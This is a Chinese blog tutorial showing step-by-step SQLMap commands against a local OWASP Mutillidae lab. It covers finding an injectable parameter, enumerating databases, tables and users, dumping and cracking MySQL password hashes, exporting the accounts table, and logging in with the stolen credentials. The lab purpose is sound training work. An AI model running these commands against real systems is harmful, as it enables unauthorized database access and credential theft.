zoukankan      html  css  js  c++  java
  • (五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据

    目录结构

    一、判断被测url的参数是否存在注入点
    二、获取数据库系统的所有数据库名称(暴库)
    三、获取Web应用当前所连接的数据库
    四、获取Web应用当前所操作的DBMS用户
    五、列出数据库中的所有用户
    六、列出数据库中所有账户-对应的密码哈希
    七、列出指定数据库中的所有数据表
    八、列出指定数据表中的所有字段(列)
    九、导出指定数据表中的列字段进行保存
    十、根据导出的数据,验证数据有效性
    

    利用SQLMap自动化工具,可判断某个带参数的url是否可被SQL注入,继而获取数据库和服务器的相关敏感数据和信息(如:库、表、列、字段值、数据库和服务器的名称&版本...)。
    本文以本地环境搭建的Web漏洞环境(OWASP Mutillidae+phpStudy)进行测试,具体操作流程如下:

    Mutillidae漏洞程序

    备注说明:因操作系统中同时安装有Python2和Python3的环境,为了区分两个版本,所以在以下sqlmap的操作命令中用python2开头,具体根据各自配置情况决定(常规情况直接用python开头)

    一、判断被测url的参数是否存在注入点

    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details"
    实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]

     

     

     

    从以上信息可知:
    1)被测url中的username参数存在注入点,可被利用注入的类型有(布尔盲注、报错注入、基于时间的盲注、联合查询注入);
    2)以及Web应用程序所采用的服务环境(DBMS、OS、PHP、Apache)的名称和版本号;
    3)检测的结果会自动保存到设定的目录下供查看

    二、获取数据库系统的所有数据库名称(暴库)

    枚举DBMS所有数据库: --dbs

    SQLMap操作命令:
    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --dbs

    执行结果:检测列出了Mysql数据库管理系统中的6个数据库

    三、获取Web应用当前所连接的数据库

    检索DBMS当前数据库: --current-db

    SQLMap操作命令:
    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-db

    执行结果:当前连接的数据库是nowasp

     

    四、获取Web应用当前所操作的DBMS用户

    检索DBMS当前用户: --current-user

    SQLMap执行命令:
    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-user

    执行结果:当前操作的用户未root权限的超级用户

     

    五、列出数据库中的所有用户

    枚举DBMS所有用户: --users

    SQLMap操作命令:
    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --users

    执行结果:DBMS中的所有用户都是root权限的超级用户

     

    六、列出数据库中所有账户-对应的密码哈希

    枚举DBMS所有用户的密码哈希: --passwords

    SQLMap操作命令:
    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --passwords
    过程中,需要选择是否执行对密码哈希的解密,利用到SQLMap内置的密码字典进行攻击

    执行结果:
    root用户的密码哈希是*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,解密之后是root

    采用的是mysql5方式加密(http://www.cmd5.com/

     

    七、列出指定数据库中的所有数据表

    枚举DBMS数据库中的所有表: -D xx库 --tables

    参数:
    -D          指定数据库名称
    --tables    列出所有数据表
    

    首先再查看一下第二步中检测出的所有数据库名称:

     

    比如本次选择检测数据库为nowasp,则
    SQLMap操作命令:
    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp --tables

    执行结果:检测nowasp数据库,列出了其下的13个表

     

    八、列出指定数据表中的所有字段(列)

    枚举DBMS数据库表中的所有列: -D xx库 -T xx表 --columns

    参数:
    -D          指定数据库名称
    -T          指定数据表名称
    --columns   列出所有字段(列)
    

    SQLMap操作命令:
    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts --columns

    执行结果:检测列出了nowasp数据库->accounts表中的所有7个字段名称及其类型

     

    九、导出指定数据表中的列字段进行保存

    导出DBMS数据表项: -D xx库 -T xx表 -C "字段1,字段2,..." --dump

    参数:
    -D       指定数据库名称
    -T       指定数据表名称
    -C       指定需要枚举的DBMS数据库表字段
    --dump   导出DBMS数据表项
    

    SQLMap操作命令:(导出部分字段)
    python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts -C "cid,is_admin,username,password" --dump

    执行结果:检测列出了指定的字段值

     

    若不指定某几个字段的导出,想要导出所有字段值,则可以采用命令如-D nowasp -T accounts --dump

     

    导出的结果会自动存储到特定的文件路径下

    十、根据导出的数据,验证数据有效性

    从刚才导出的字段值中,选取一组username/password:admin---adminpass

     

    输入选取的用户名和密码之后,检验账户信息,确实存在此账户,如下:

  • 相关阅读:
    序列信号发生器
    C++ | 虚函数初探
    Linux编程 | 使用 make
    [] CSDN-markdown编辑器语法——字体、字号与颜色
    Linux基础学习 | 用户及用户组
    Linux文件管理 | Liunx 常用命令
    Linux文件管理 | Linux 文件基础知识
    asp.net 可视化操作(二)——Sql数据库连接及简单查询功能的实现
    asp.net 可视化操作(一)——asp.net安装与使用
    Linux基础学习 | gcc、g++的安装和使用
  • 原文地址:https://www.cnblogs.com/uestc2007/p/11477030.html
Copyright © 2011-2022 走看看